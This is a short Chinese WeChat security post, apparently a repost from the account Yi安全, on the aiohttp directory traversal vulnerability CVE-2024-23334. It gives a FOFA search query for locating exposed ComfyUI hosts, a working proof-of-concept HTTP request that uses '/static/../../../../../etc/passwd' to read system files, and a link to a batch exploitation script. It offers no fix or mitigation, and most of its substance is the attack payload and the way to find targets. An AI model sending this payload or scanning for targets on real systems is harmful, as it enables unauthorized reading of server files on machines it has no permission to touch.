由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！
免责声明
iohttp
一：漏洞描述
iohttp 目录遍历漏洞(CVE-2024-23334)
二：网络空间测绘查询
fofa
title=="ComfyUI"
三：漏洞复现
poc
GET /static/../../../../../etc/passwd HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Macintosh; IntelMac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip
四：批量脚本获取
https://github.com/Y1-K1NG/poc_exp/tree/main/20240307iohttp%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E(CVE-2024-23334)
原文始发于微信公众号（Yi安全）：iohttp 目录遍历漏洞(CVE-2024-23334)-附py
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论